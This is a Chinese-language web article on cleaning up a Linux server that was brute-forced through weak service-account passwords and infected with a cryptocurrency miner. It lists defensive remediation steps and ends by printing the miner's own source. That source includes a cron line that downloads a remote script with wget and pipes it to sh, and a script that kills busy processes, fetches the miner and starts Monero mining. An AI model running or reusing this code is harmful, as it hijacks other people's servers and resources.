首页>>资讯>>产业

服务器被通过用户弱口令暴力破解并安装比特币挖矿恶意软件后的处理措施

2024-03-06 13:29:28 154

一、说明


提供公网服务对外暴露ip的服务器在安装常用软件时,可能会设置软件对应权限用户的弱密码。比如,在安装mysql数据库时创建mysql用户,同时设置mysql的用户密码为mysql;在安装postgres时设置用户名和密码均为postgres;安装nginx时设置用户名和密码均为nginx;安装docker时用户名和密码均为docker等。在应用程序部署时通常容易忽略应用程序用户对应的弱密码。这样就会给攻击者留下弱口令攻击漏洞。


如果攻击者获取了服务器对外访问的ssh端口,同时通过应用程序弱口令暴力破解了用户密码,就可以通过ssh登录到操作系统上,使用弱口令用户部署相关的比特币miner挖矿软件,从而消耗服务器资源,导致系统负载异常。原来正常部署的应用程序出现莫名其妙的资源征用问题,包括cpu,内存,虚拟内存,磁盘空间,读写io的资源征用问题。比较明显的出现在数据库服务器oracle,mysql,postgres等db服务中。


二、解决方案


出现该问题,可以通过如下解决方案处理服务器被移植比特币,莱特币,门罗币,以太坊等恶意挖矿软件问题。


1.在不影响业务的前提下,及时隔离主机/容器,避免部分带有蠕虫功能的挖矿木马进一步在内网进行横向移动;


2.使用`top -c`命令查看系统性能,找出消耗CPU较高的进程PID(部分挖矿木马可能会篡改top命令实现进程隐藏,可以使用`which top | xargs stat`命令判断top文件是否被黑客篡改);


3.根据获取的进程PID,使用“ps -ef -p PID”命令找出进程的详细信息;


4.根据进程详细信息定位到文件位置,并对该文件进行分析,确认是否属于挖矿木马;


5.若确认为挖矿木马,则进行如下清理操作:


(1)结束挖矿相关进程:kill 9 PID


(2)删除挖矿相关文件:rm -rf 异常文件,删除文件时可以使用find / -name 异常文件查找出系统中的所有恶意文件


(3)查看并清理异常定时任务:


crontab -e


crontab -u username -l


cat /etc/crontab


cat /var/spool/cron


cat /etc/anacrontab


cat /etc/cron.d/


cat /etc/cron.daily/


cat /etc/cron.hourly/


cat /etc/cron.weekly/


cat /etc/cron.monthly/


cat /var/spool/cron/


(4)查看密钥认证文件


删除木马创建的密钥认证文件,如果当前系统之前并未配置过密钥认证,可以直接清空认证存放目录:rm -rf /root/.ssh/*。如果有配置过密钥认证,只需要删除黑客创建的认证文件即可


注:在处理比特币恶意挖矿miner软件进程时,如果直接kill 进程后会发现进程又自动重启了,出现该问题实际上是攻击者在os上设置了定时任务,一旦检查到miner进程被kill立即重启,这样由于病毒文件始终被进程锁定占用,因此无法彻底删除挖矿minter病毒软件。需要先清空定时任务,然后再删除比特币minter挖矿恶意软件才能彻底的清空minter软件。


6.对系统进行风险排查和安全加固,详情可参考如下链接:


【Linux】https://cloud.tencent.com/document/product/296/9604

【Windows】https://cloud.tencent.com/document/product/296/9605


三、附常见的linux core 比特币挖矿病毒部分源码。


可以根据源码中的功能部分查杀被感染的操作系统文件,进而彻底的清楚比特币挖矿木马病毒


根据源码,定向解决问题


#每天定时下载

@daily wget -O - -q http://xxx.xxx.xxx.xxx:2932/xxl/coreProcess.sh | sh > /dev/null 2>&1


脚本源码:


#!/bin/sh

/bin/ps axf -o "pid %cpu" | awk '{if($2>=90.0) print $1}' | while read procid

do

kill -9 $procid

done

zero=0

process=`ps aux | grep 'HbewX' | grep -v grep| wc -l`

if [ "$process" -eq "$zero" ]; then

  if [ -f /tmp/core ]

   then

   /core --coin monero -o xmr.f2pool.com:1353 -u 46YngqQEnoesGdoecXZRM2urEWNdeWNtj.xxl -p x -k --donate-level=1 -B --cpu-max-threads-hint=70

   echo started existing

   else

     wget -q http://xxx.xxx.xx.xx:2932/xxl/core -O /tmp/core

     chmod +x /core

     /core --coin monero -o xmr.f2pool.com:1353 -u 46Yngq6t7RKTbhW4TtqdKUQyggs3x7pADEWvprWNtj.xxl -p x -k --donate-level=1 -B --cpu-max-threads-hint=71

   fi

else

echo "process runing"

fi

声明:本网站所有相关资料如有侵权请联系站长删除,资料仅供用户学习及研究之用,不构成任何投资建议!